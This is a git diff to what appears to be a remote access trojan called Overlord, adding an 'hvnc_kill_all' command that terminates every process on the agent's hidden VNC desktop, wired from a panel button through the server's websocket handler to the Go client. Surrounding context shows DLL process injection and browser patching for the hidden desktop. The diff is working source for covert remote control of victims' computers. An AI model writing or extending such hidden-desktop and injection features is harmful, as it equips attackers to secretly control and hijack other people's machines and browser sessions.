diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
index 92b5f72..332e78d 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
@@ -58,3 +58,7 @@ func HVNCInputMouseWheel(delta int32) error {
func HVNCAutoStartExplorer() error {
return errors.New("HVNC not supported on this platform")
}
+
+func HVNCKillAll() error {
+ return errors.New("HVNC not supported on this platform")
+}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
index 2cc810a..9d6de35 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
@@ -47,6 +47,8 @@ var (
procToUnicode = user32.NewProc("ToUnicode")
procGetWindowPlacement = user32.NewProc("GetWindowPlacement")
procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId")
+ procEnumDesktopWindows = user32.NewProc("EnumDesktopWindows")
+ procTerminateProcess = kernel32.NewProc("TerminateProcess")
)
const (
@@ -561,6 +563,39 @@ func StartHVNCProcess(filePath string, operaPatch bool) error {
return nil
}
+func HVNCKillAll() error {
+ hvncDesktopMu.Lock()
+ deskHandle := hvncDesktopHandle
+ hvncDesktopMu.Unlock()
+ if deskHandle == 0 {
+ return fmt.Errorf("HVNC desktop not initialized")
+ }
+
+ pids := make(map[uint32]struct{})
+ cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
+ var pid uint32
+ procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
+ if pid != 0 {
+ pids[pid] = struct{}{}
+ }
+ return 1 // continue enumeration
+ })
+ procEnumDesktopWindows.Call(deskHandle, cb, 0)
+
+ const PROCESS_TERMINATE = 0x0001
+ killed := 0
+ for pid := range pids {
+ hProc, _, _ := procOpenProcess.Call(PROCESS_TERMINATE, 0, uintptr(pid))
+ if hProc != 0 {
+ procTerminateProcess.Call(hProc, 1)
+ kernel32.NewProc("CloseHandle").Call(hProc)
+ killed++
+ }
+ }
+ log.Printf("hvnc: kill all: terminated %d processes across %d pids", killed, len(pids))
+ return nil
+}
+
func HVNCAutoStartExplorer() error {
if hvncExplorerStarted {
return nil
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 2de241d..c25e5e7 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -1493,6 +1493,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
+ case "hvnc_kill_all":
+ log.Printf("hvnc: kill all processes on hidden desktop")
+ sendCommandResultSafe(env, cmdID, true, "")
+ goSafe("hvnc_kill_all", nil, func() {
+ if err := capture.HVNCKillAll(); err != nil {
+ log.Printf("hvnc: kill all failed: %v", err)
+ }
+ })
+ return nil
+
case "hvnc_browser_check":
log.Printf("hvnc: browser availability check requested")
sendCommandResultSafe(env, cmdID, true, "")
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
index 07eb109..fdb1360 100644
--- a/Overlord-Server/public/assets/hvnc.js
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -55,6 +55,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
const startBtn = document.getElementById("startBtn");
const stopBtn = document.getElementById("stopBtn");
const commandsBtn = document.getElementById("commandsBtn");
+ const killAllBtn = document.getElementById("killAllBtn");
const fullscreenBtn = document.getElementById("fullscreenBtn");
const mouseCtrl = document.getElementById("mouseCtrl");
const kbdCtrl = document.getElementById("kbdCtrl");
@@ -593,6 +594,11 @@ import { checkFeatureAccess } from "./feature-gate.js";
setStreamState("stopping", "Stopping stream");
sendCmd("hvnc_stop", {});
});
+ if (killAllBtn) {
+ killAllBtn.addEventListener("click", function () {
+ sendCmd("hvnc_kill_all", {});
+ });
+ }
fullscreenBtn.addEventListener("click", function () {
if (canvasContainer.requestFullscreen) {
canvasContainer.requestFullscreen();
diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html
index 2757c17..a4172aa 100644
--- a/Overlord-Server/public/hvnc.html
+++ b/Overlord-Server/public/hvnc.html
@@ -70,6 +70,9 @@
+
diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts
index 4372587..d08428f 100644
--- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts
+++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts
@@ -884,6 +884,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st
opera_patch: Boolean(payload.opera_patch),
});
break;
+ case "hvnc_kill_all":
+ sendHVNCCommand(target, "hvnc_kill_all", {});
+ break;
case "hvnc_start_process_injected": {
const dllData = getInjectionDllBytes();
if (!dllData) {